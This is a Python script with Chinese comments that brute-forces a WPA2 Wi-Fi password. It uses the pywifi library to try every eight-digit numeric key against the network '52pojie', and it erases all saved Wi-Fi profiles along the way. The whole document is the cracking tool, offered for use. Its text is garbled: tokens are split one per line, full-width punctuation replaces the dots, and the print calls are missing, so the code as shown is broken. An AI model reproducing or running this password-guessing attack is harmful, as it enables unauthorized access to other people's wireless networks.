import
time
#時間
import
pywifi
#匯入wifi庫
from
pywifi
import
const
#引用一些定義
class
PoJie
:
def
__init__
(
self
):
wifi
=
pywifi
。
PyWiFi
()
#抓取網絡卡介面
self
。
iface
=
wifi
。
interfaces
()[
0
]
#抓取第一個無限網絡卡
self
。
iface
。
disconnect
()
#測試連結斷開所有連結
time
。
sleep
(
1
)
#休眠1秒
#測試網絡卡是否屬於斷開狀態,
assert
self
。
iface
。
status
()
in
[
const
。
IFACE_DISCONNECTED
,
const
。
IFACE_INACTIVE
]
def
readPassWord
(
self
):
(
‘開始破解:’
)
for
i
in
range
(
100000000
):
myStr
=
str
(
i
)
。
zfill
(
8
)
bool1
=
self
。
test_connect
(
myStr
)
if
bool1
:
(
‘密碼正確:’
,
myStr
)
break
else
:
(
‘密碼錯誤:’
+
myStr
)
ent
=
time
。
time
()
(
‘用時
%f
分’
%
((
ent
-
stm
)
/
60
))
def
test_connect
(
self
,
findStr
):
#測試連結
profile
=
pywifi
。
Profile
()
#建立wifi連結檔案
profile
。
ssid
=
‘52pojie’
#wifi名稱
profile
。
auth
=
const
。
AUTH_ALG_OPEN
#網絡卡的開放,
profile
。
akm
。
append
(
const
。
AKM_TYPE_WPA2PSK
)
#wifi加密演算法
profile
。
cipher
=
const
。
CIPHER_TYPE_CCMP
#加密單元
profile
。
key
=
findStr
#密碼
self
。
iface
。
remove_all_network_profiles
()
#刪除所有的wifi檔案
tmp_profile
=
self
。
iface
。
add_network_profile
(
profile
)
#設定新的連結檔案
self
。
iface
。
connect
(
tmp_profile
)
#連結
time
。
sleep
(
5
)
#這裡可以更改連結所需要的時間,單位是秒
if
self
。
iface
。
status
()
==
const
。
IFACE_CONNECTED
:
#判斷是否連線上
isOK
=
True
else
:
isOK
=
False
self
。
iface
。
disconnect
()
#斷開
time
。
sleep
(
1
)
#這裡可以更改斷開連結所需要的時間,單位是秒
#檢查斷開狀態
assert
self
。
iface
。
status
()
in
[
const
。
IFACE_DISCONNECTED
,
const
。
IFACE_INACTIVE
]
return
isOK
stm
=
time
。
time
()
PoJie
()
。
readPassWord
()